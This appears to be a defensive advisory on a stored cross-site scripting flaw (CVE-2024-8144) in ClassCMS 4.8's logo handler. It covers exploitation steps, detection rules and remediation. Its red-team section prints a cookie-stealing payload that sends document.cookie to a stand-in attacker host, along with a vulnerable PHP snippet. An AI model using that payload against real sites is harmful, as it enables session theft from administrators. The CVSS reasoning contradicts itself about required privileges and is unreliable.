CVE-2024-8144

Executive Summary

CVE-2024-8144 is a stored cross-site scripting (XSS) vulnerability in ClassCMS version 4.8, specifically within the Logo Handler component accessible via /index.php/admin. An attacker with administrative access can inject arbitrary JavaScript into the logo upload or configuration fields, which is then executed in the browsers of other administrators viewing the logo settings. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely uncalculated), but the public availability of a proof-of-concept (PoC) elevates the risk. No official patch exists, and the vendor has not responded to disclosure.

Supply Chain & Package Security

ClassCMS is a PHP-based content management system. This vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, Ruby), but the lack of a patch means that any organization using ClassCMS 4.8 is at risk. Administrators should consider the software as unmaintained and plan migration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need authentication to trigger the XSS? Correction: The description states "manipulation leads to cross site scripting" and the attack can be launched remotely, but the vulnerable endpoint is in the admin panel. Therefore, the attacker likely needs admin credentials. However, the CVSS vector below assumes no privileges for the initial injection if the logo handler is accessible without authentication (which is unlikely). Given the ambiguity, we use a conservative vector.
• User Interaction (UI): Required (R) – The victim must visit the admin page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Base Score: 5.4 (Medium) – However, the NVD score is 0.0, indicating it may not have been fully assessed.

Deep Dive & Mechanics

The vulnerability resides in the Logo Handler of ClassCMS 4.8. The /index.php/admin endpoint processes logo uploads or configuration changes without proper sanitization. An attacker can inject malicious JavaScript into the logo URL or file name fields. When another administrator views the logo settings, the injected script executes in their browser context.

Root Cause: Lack of output encoding or input validation for the logo parameter. The application likely echoes the user-supplied value directly into the HTML without escaping.

Attack Flow:

1. Attacker logs into the admin panel (requires credentials).
2. Attacker navigates to the Logo Handler.
3. Attacker injects a payload like "><script>alert('XSS')</script> into the logo URL field.
4. The payload is stored in the database.
5. When another admin visits the same page, the payload executes.

Vulnerable vs. Patched Code

Since no patch exists, we can only describe the vulnerable code pattern.

Vulnerable Code (PHP):

// Vulnerable: Direct output without escaping
echo "<img src='" . $_POST['logo_url'] . "' alt='Logo'>";

Patched Code (Hypothetical):

// Patched: Use htmlspecialchars to escape output
echo "<img src='" . htmlspecialchars($_POST['logo_url'], ENT_QUOTES, 'UTF-8') . "' alt='Logo'>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to ClassCMS admin panel (credentials required).
• Knowledge of the logo handler endpoint.

Exploit Steps:

1. Log in to /index.php/admin.
2. Navigate to the Logo Handler section.
3. In the logo URL field, enter:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the configuration.
5. Wait for another admin to visit the page.

Proof-of-Concept (PoC) Payload:

"><img src=x onerror=alert(1)>

Blue Team

Detection:

• Monitor admin panel access logs for unusual POST requests to /index.php/admin with suspicious parameters.
• Look for <script> tags or event handlers in logo URL fields.

Hunting:

• Search database for stored XSS patterns in the logo configuration table.
• Use the Sigma rule below to detect payloads in HTTP requests.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /index.php/admin containing logo_url parameter with <script> or onerror attributes.
• Host: Presence of JavaScript payloads in the database table storing logo configuration.
• File: Modified logo files with embedded JavaScript (if file upload is used).

Detection Engineering

YARA Rule

rule cve_2024_8144_classcms_xss {
    meta:
        description = "Detects XSS payloads targeting ClassCMS Logo Handler"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-8144"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8144 ClassCMS Logo Handler XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against ClassCMS Logo Handler
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php/admin'
        cs-uri-query|contains: 'logo_url'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in logo URL (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8144 ClassCMS Logo Handler XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php/admin"; http_uri; content:"logo_url"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Logo Handler if not essential.
2. Restrict admin panel access to trusted IPs only.
3. Implement a WAF rule to block XSS payloads in POST parameters.

Long-term:

• Migrate away from ClassCMS as it appears unmaintained.
• Apply input validation and output encoding if you must continue using it.
• Monitor for official patches from the vendor (unlikely).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert